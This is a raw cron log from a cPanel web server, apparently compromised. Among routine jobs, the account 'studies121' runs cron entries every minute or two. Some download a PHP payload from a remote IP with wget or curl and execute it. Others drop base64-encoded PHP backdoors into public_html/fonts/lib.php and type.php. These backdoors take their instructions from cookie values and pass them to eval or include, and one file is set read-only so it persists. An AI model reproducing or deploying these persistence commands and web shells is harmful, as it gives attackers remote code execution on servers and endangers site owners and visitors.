Sep  9 20:54:02 ip-184-168-122-23 CROND[12672]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 20:55:01 ip-184-168-122-23 CROND[12757]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 20:55:01 ip-184-168-122-23 CROND[12759]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:55:01 ip-184-168-122-23 CROND[12760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:55:01 ip-184-168-122-23 CROND[12761]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 20:55:01 ip-184-168-122-23 CROND[12762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:55:01 ip-184-168-122-23 CROND[12763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:56:01 ip-184-168-122-23 CROND[12927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:56:01 ip-184-168-122-23 CROND[12928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:56:01 ip-184-168-122-23 CROND[12930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:56:01 ip-184-168-122-23 CROND[12935]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 20:56:01 ip-184-168-122-23 CROND[12934]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:57:01 ip-184-168-122-23 CROND[13018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:57:01 ip-184-168-122-23 CROND[13019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:57:01 ip-184-168-122-23 CROND[13020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:57:01 ip-184-168-122-23 CROND[13021]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:58:01 ip-184-168-122-23 CROND[13096]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:58:01 ip-184-168-122-23 CROND[13098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:58:01 ip-184-168-122-23 CROND[13099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:58:01 ip-184-168-122-23 CROND[13100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:58:01 ip-184-168-122-23 CROND[13101]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 20:59:01 ip-184-168-122-23 CROND[13178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:59:01 ip-184-168-122-23 CROND[13180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:59:01 ip-184-168-122-23 CROND[13181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:59:01 ip-184-168-122-23 CROND[13179]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:00:01 ip-184-168-122-23 CROND[13262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:00:01 ip-184-168-122-23 CROND[13263]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 21:00:01 ip-184-168-122-23 CROND[13264]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 21:00:01 ip-184-168-122-23 CROND[13265]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 21:00:01 ip-184-168-122-23 CROND[13269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:00:01 ip-184-168-122-23 CROND[13270]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:00:01 ip-184-168-122-23 CROND[13271]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 21:00:01 ip-184-168-122-23 CROND[13273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:01:01 ip-184-168-122-23 CROND[13371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:01:01 ip-184-168-122-23 CROND[13373]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 21:01:01 ip-184-168-122-23 CROND[13375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[13373]: starting 0anacron
Sep  9 21:01:01 ip-184-168-122-23 CROND[13381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:01:01 ip-184-168-122-23 CROND[13382]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 21:01:01 ip-184-168-122-23 CROND[13384]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[13391]: finished 0anacron
Sep  9 21:02:01 ip-184-168-122-23 CROND[13550]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:02:01 ip-184-168-122-23 CROND[13554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:02:01 ip-184-168-122-23 CROND[13552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:02:01 ip-184-168-122-23 CROND[13553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:02:01 ip-184-168-122-23 CROND[13555]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 21:03:01 ip-184-168-122-23 CROND[13644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:03:01 ip-184-168-122-23 CROND[13647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:03:01 ip-184-168-122-23 CROND[13652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:03:01 ip-184-168-122-23 CROND[13651]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:04:01 ip-184-168-122-23 CROND[13738]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:04:01 ip-184-168-122-23 CROND[13740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:04:01 ip-184-168-122-23 CROND[13743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:04:01 ip-184-168-122-23 CROND[13742]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 21:04:01 ip-184-168-122-23 CROND[13741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:05:01 ip-184-168-122-23 CROND[13827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:05:01 ip-184-168-122-23 CROND[13829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:05:01 ip-184-168-122-23 CROND[13832]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 21:05:01 ip-184-168-122-23 CROND[13836]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 21:05:01 ip-184-168-122-23 CROND[13837]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 21:05:01 ip-184-168-122-23 CROND[13841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:05:01 ip-184-168-122-23 CROND[13840]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:06:01 ip-184-168-122-23 CROND[13920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:06:01 ip-184-168-122-23 CROND[13921]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 21:06:01 ip-184-168-122-23 CROND[13922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:06:01 ip-184-168-122-23 CROND[13924]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
